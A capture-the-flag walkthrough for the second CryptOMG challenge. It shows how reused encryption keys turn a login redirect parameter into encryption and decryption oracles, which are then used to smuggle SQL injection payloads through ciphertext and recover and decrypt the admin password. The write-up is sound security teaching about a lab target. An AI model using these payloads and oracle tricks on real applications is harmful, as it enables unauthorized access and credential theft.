For those of you that missed it last time, CryptOMG is a configurable CTF-style test bed that highlights flaws in cryptographic implementations. The application and installation instructions can be downloaded for free at the SpiderLabs Github. The challenge 1 walkthrough can be found here.
The goal for the second challenge is to get the admin password. Unlike the first challenge, which told us there was probably a directory traversal flaw, this does not give us a very clear picture of the type of flaw we will be exploiting. After opening the application, we are presented with a login form and instructions telling us that we can login with guest/guest. Taking a closer look at the URL parameters, we have a "ReturnUrl" parameter with 32 hex characters, in this case 82803ac0ee614d894128649a2eb31f03.
This could be a couple different things; it is possible that this is simply just a unique identifier to reference the next page or ciphertext. Changing the values of the input does not give us anything to go off. Unlike the first challenge, there are no verbose error messages or unexpected behavior observed by modifying these values. We can assume, given the parameter name, this parameter contains data that will tell the application to redirect. Let's try logging in with different values for the "ReturnUrl" parameter and see how the application behaves.
Starting with the initial value:
After authenticating against the application, the server returns a 302 redirect response to /index.php?page=articles. This is the expected behavior of the application.
HTTP/1.1 302 Found
Date: Fri, 28 Sep 2012 18:52:30 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By:
PHP/5.3.2-1ubuntu4.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store,
no-cache, must-revalidate, post-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=articles
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
Now let's try changing the value of "ReturnUrl" to something unexpected and see how the application reacts.
Interesting; now the page value is garbled. We can guess that the application is not pulling filenames from a database, otherwise it would be something more readable or nothing at all if the value didn't match a record. The text is garbled when changing one byte of the text and the length of the text is divisible by eight this indicates that we may be dealing with ciphertext. We can continue to poke around the application a little bit more and see if we can confirm this.
Once we are authenticated, we are taken to page with a list of articles. Clicking on the links pulls up the corresponding article. Looking at the parameters we can see there is a "page" parameter, that does not seem to do much other specifying what part of the application we are, in this case "Articles", and an "id" parameter that looks to be hex encoded.
Seeing as how the "id" parameter is the only parameter that varies throughout the different articles (and its conveniently named id) we can assume this the parameter that is used to pull the article data. Modifying the data in this parameter does not seem to do much other than tell us the article does not exist. Adding a quote to the data however, gives an error message confirming that this is indeed a hex encoded string.
Considering the data matching the same characteristics for ciphertext as the original value for the ReturnUrl parameter, it's worth treating this as cipher text as well. We know that the ReturnUrl parameter contains a value that is used to redirect the user to another page after a successful login. Since this is ciphertext its probably being decrypted and processed on the back end, so what would happen if we took the valid ciphertext and swapped it out with some different ciphertext found elsewhere in the application. Lets logout of the application and take the value from the "id" parameter and put it in the ReturnUrl parameter and see what happens. Our new URL looks like this:
HTTP/1.1 302 Found
Date: Thu , Dec 20 Sep 2012 17:00:30 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=1
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
And now we are being redirected and the new value of the page parameter is "1". This tells us a couple of things. First off, we are definitely dealing with ciphertext since we were able to take an encrypted value from another parameter and put it in the ReturnUrl parameter to provide us with the corresponding plaintext. If the cipher text were invalid, we would have garbled text like we did earlier in the application. Secondly, the application appears to be reusing keys and potentially initialization vectors, depending on the algorithm and mode of operation in use, since two different ciphertext values could be decrypted using the same function on the site. So now we have a decryption oracle and we can see how the text is formatted. But there is not a whole lot we can do at this point since we can't really modify the data. So lets try to find another way of entry. Is the application handling authentication properly? Maybe we can try to access an authenticated area without having a valid session.
We can try logging out then requesting the articles page.
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=articles
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:24:18 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=82803ac0ee614d894128649a2eb31f03
Vary: Accept-Encoding
Content-Length: 2419
Content-Type: text/html
Hmm...Looks like its just redirecting us back to the starting location, what happens if we try requesting an article?
Now this is interesting, we are redirected back to the login page but the ReturnUrl parameter is significantly different and much larger.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013
19:25:36 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache<
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=68d4189daabe2a91c66b2bc0b14f2edbf5bb287e4d87f023eef33c0021ecc8ba0a2263794093a73240f8b421a2ea73fe
Vary: Accept-Encoding
Content-Length: 2483
Content-Type: text/html
Lets login and see where this redirects.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:53:54 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=articles&id=d7271a80d95b0103d2afe3fc75e1a8a4
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
It redirects us back to the article we requested initially. As we found out earlier, it appears the ciphertext starts with the "page" parameter. Next we can make a request with the value of page set to spiderlabs and see if it encrypts it for us.
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=spiderlabs
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:55:07 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=7ba05e06faa768cd70d9278feeebc53d
Vary: Accept-Encoding
Content-Length: 2419
Content-Type: text/html
The ciphertext is definitely different, we can go ahead and login to see if it worked and we get redirected to page=spiderlabs as expected.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:58:01 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=spiderlabs
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
And we are redirected which means we now have an encryption oracle in addition to the decryption oracle discovered earlier. We can now encrypt our own messages and since we can swap cipher texts from different parts of the application, now we can try to encrypt something we can use in the articles id parameter. A common mistake I see is that developers assume that since the data is encrypted its perfectly safe from any sort of injection attacks and, as a result, they treat ciphertext as trusted and do not input filtering or validation. Lets see if that holds true here.
Go ahead and request a page with an SQL injection payload in it and see how the application handles it. First we have to encrypt the payload by requesting
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=1'+or+1='1
We get redirected as expected with the ReturnUrl parameter containing the encrypted version of our attack vector. We can copy the ciphertext from ReturnUrl, in this case e67e5ddf94a0616f81a9b3c1915680fc and then login to the application. Now lets request an article but instead of using the default id value, replace it with our new ciphertext.
That gave us every article so now we know that the application is vulnerable to SQL injection but we aren't done yet. The goal is get the admin password. Try encrypting 0' union select * from users --
This gave us our new cipher text of
9a21805e2556bf0ccebd0631daa379d225f749ab5365bf1efafcb4f4a5df5ec5
We can go ahead and put this into the id parameter for articles.
And bam, now we have the admin password. We still aren't quite done yet though. We know the password for the guest user is "guest" so it looks like these passwords are encrypted. Since the application reuses its encryption keys throughout the application we can guess they did the same thing here. Before we can try that though, we have to put the passwords in the proper encoding. It looks like this is websafe base64, we need it to be in hex. So we need to turn that underscore into a slash and the period into an equal sign. So our cipher text now looks like this:
/GEOvKa9k9ga3spI0AVQtvYc6tDgcWjoJlT0VKMB8c4=
There are plenty of tools online to help decode this. I used Burp Suite. First we decode the base64 and then encode the output to ASCII hex.
So now our final hex value is fc610ebca6bd93d81adeca48d00550b6f61cead0e07168e82654f454a301f1ce
Let's go ahead and throw this in the ReturnUrl parameter and login.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 20:00:38 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=Cru@UJUbet69YePejEwr
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
Bam! Now we have our decrypted admin password. Lets login as admin to make sure it worked.
Login successful! <Insert victory dance here>